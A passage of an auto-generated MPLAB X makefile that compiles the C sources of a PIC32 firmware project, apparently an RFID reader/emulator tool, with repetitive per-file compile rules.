${OBJECTDIR}/src/comms.o.d \n\t@${RM} ${OBJECTDIR}/src/comms.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/comms.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/comms.o.d\" -o ${OBJECTDIR}/src/comms.o src/comms.c     \n\t\n${OBJECTDIR}/src/nvm.o: src/nvm.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/nvm.o.d \n\t@${RM} ${OBJECTDIR}/src/nvm.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/nvm.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/nvm.o.d\" -o ${OBJECTDIR}/src/nvm.o src/nvm.c     \n\t\n${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o.d \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/mcp414x.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/mcp414x.o.d\" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c     \n\t\n${OBJECTDIR}/src/spi.o: src/spi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/spi.o.d \n\t@${RM} ${OBJECTDIR}/src/spi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/spi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/spi.o.d\" -o ${OBJECTDIR}/src/spi.o src/spi.c     \n\t\n${OBJECTDIR}/src/uart3.o: src/uart3.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uart3.o.d \n\t@${RM} ${OBJECTDIR}/src/uart3.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uart3.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uart3.o.d\" -o ${OBJECTDIR}/src/uart3.o src/uart3.c     \n\t\n${OBJECTDIR}/src/tags.o: src/tags.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tags.o.d \n\t@${RM} ${OBJECTDIR}/src/tags.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tags.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tags.o.d\" -o ${OBJECTDIR}/src/tags.o src/tags.c     \n\t\n${OBJECTDIR}/src/unique.o: src/unique.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/unique.o.d \n\t@${RM} ${OBJECTDIR}/src/unique.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/unique.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/unique.o.d\" -o ${OBJECTDIR}/src/unique.o src/unique.c     \n\t\n${OBJECTDIR}/src/led.o: src/led.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/led.o.d \n\t@${RM} ${OBJECTDIR}/src/led.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/led.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/led.o.d\" -o ${OBJECTDIR}/src/led.o src/led.c     \n\t\n${OBJECTDIR}/src/em.o: src/em.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/em.o.d \n\t@${RM} ${OBJECTDIR}/src/em.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/em.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/em.o.d\" -o ${OBJECTDIR}/src/em.o src/em.c     \n\t\n${OBJECTDIR}/src/hid.o: src/hid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hid.o.d \n\t@${RM} ${OBJECTDIR}/src/hid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hid.o.d\" -o ${OBJECTDIR}/src/hid.o src/hid.c     \n\t\n${OBJECTDIR}/src/read.o: src/read.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/read.o.d \n\t@${RM} ${OBJECTDIR}/src/read.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/read.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/read.o.d\" -o ${OBJECTDIR}/src/read.o src/read.c     \n\t\n${OBJECTDIR}/src/isr.o: src/isr.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/isr.o.d \n\t@${RM} ${OBJECTDIR}/src/isr.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/isr.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/isr.o.d\" -o ${OBJECTDIR}/src/isr.o src/isr.c     \n\t\n${OBJECTDIR}/src/auto.o: src/auto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auto.o.d \n\t@${RM} ${OBJECTDIR}/src/auto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auto.o.d\" -o ${OBJECTDIR}/src/auto.o src/auto.c     \n\t\n${OBJECTDIR}/src/fdxb.o: src/fdxb.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fdxb.o.d \n\t@${RM} ${OBJECTDIR}/src/fdxb.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fdxb.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fdxb.o.d\" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c     \n\t\n${OBJECTDIR}/src/hitag.o: src/hitag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag.o.d\" -o ${OBJECTDIR}/src/hitag.o src/hitag.c     \n\t\n${OBJECTDIR}/src/uid.o: src/uid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uid.o.d \n\t@${RM} ${OBJECTDIR}/src/uid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uid.o.d\" -o ${OBJECTDIR}/src/uid.o src/uid.c     \n\t\n${OBJECTDIR}/src/login.o: src/login.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/login.o.d \n\t@${RM} ${OBJECTDIR}/src/login.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/login.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/login.o.d\" -o ${OBJECTDIR}/src/login.o src/login.c     \n\t\n${OBJECTDIR}/src/write.o: src/write.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/write.o.d \n\t@${RM} ${OBJECTDIR}/src/write.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/write.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/write.o.d\" -o ${OBJECTDIR}/src/write.o src/write.c     \n\t\n${OBJECTDIR}/src/auth.o: src/auth.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auth.o.d \n\t@${RM} ${OBJECTDIR}/src/auth.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auth.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auth.o.d\" -o ${OBJECTDIR}/src/auth.o src/auth.c     \n\t\n${OBJECTDIR}/src/q5.o: src/q5.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/q5.o.d \n\t@${RM} ${OBJECTDIR}/src/q5.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/q5.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/q5.o.d\" -o ${OBJECTDIR}/src/q5.o src/q5.c     \n\t\n${OBJECTDIR}/src/vtag.o: src/vtag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/vtag.o.d \n\t@${RM} ${OBJECTDIR}/src/vtag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/vtag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/vtag.o.d\" -o ${OBJECTDIR}/src/vtag.o src/vtag.c     \n\t\n${OBJECTDIR}/src/config.o: src/config.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/config.o.d \n\t@${RM} ${OBJECTDIR}/src/config.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/config.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/config.o.d\" -o ${OBJECTDIR}/src/config.o src/config.c     \n\t\n${OBJECTDIR}/src/select.o: src/select.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/select.o.d \n\t@${RM} ${OBJECTDIR}/src/select.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/select.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/select.o.d\" -o ${OBJECTDIR}/src/select.o src/select.c     \n\t\n${OBJECTDIR}/src/sdcard.o: src/sdcard.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sdcard.o.d \n\t@${RM} ${OBJECTDIR}/src/sdcard.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sdcard.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sdcard.o.d\" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c     \n\t\n${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o.d \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/debug_pins.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/debug_pins.o.d\" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c     \n\t\n${OBJECTDIR}/src/awid.o: src/awid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/awid.o.d \n\t@${RM} ${OBJECTDIR}/src/awid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/awid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/awid.o.d\" -o ${OBJECTDIR}/src/awid.o src/awid.c     \n\t\n${OBJECTDIR}/src/analogue.o: src/analogue.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/analogue.o.d \n\t@${RM} ${OBJECTDIR}/src/analogue.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/analogue.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/analogue.o.d\" -o ${OBJECTDIR}/src/analogue.o src/analogue.c     \n\t\n${OBJECTDIR}/src/iso7816.o: src/iso7816.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/iso7816.o.d \n\t@${RM} ${OBJECTDIR}/src/iso7816.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/iso7816.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/iso7816.o.d\" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c     \n\t\n${OBJECTDIR}/src/t55x7.o: src/t55x7.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/t55x7.o.d \n\t@${RM} ${OBJECTDIR}/src/t55x7.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/t55x7.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/t55x7.o.d\" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c     \n\t\n${OBJECTDIR}/src/sniff.o: src/sniff.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sniff.o.d \n\t@${RM} ${OBJECTDIR}/src/sniff.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sniff.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 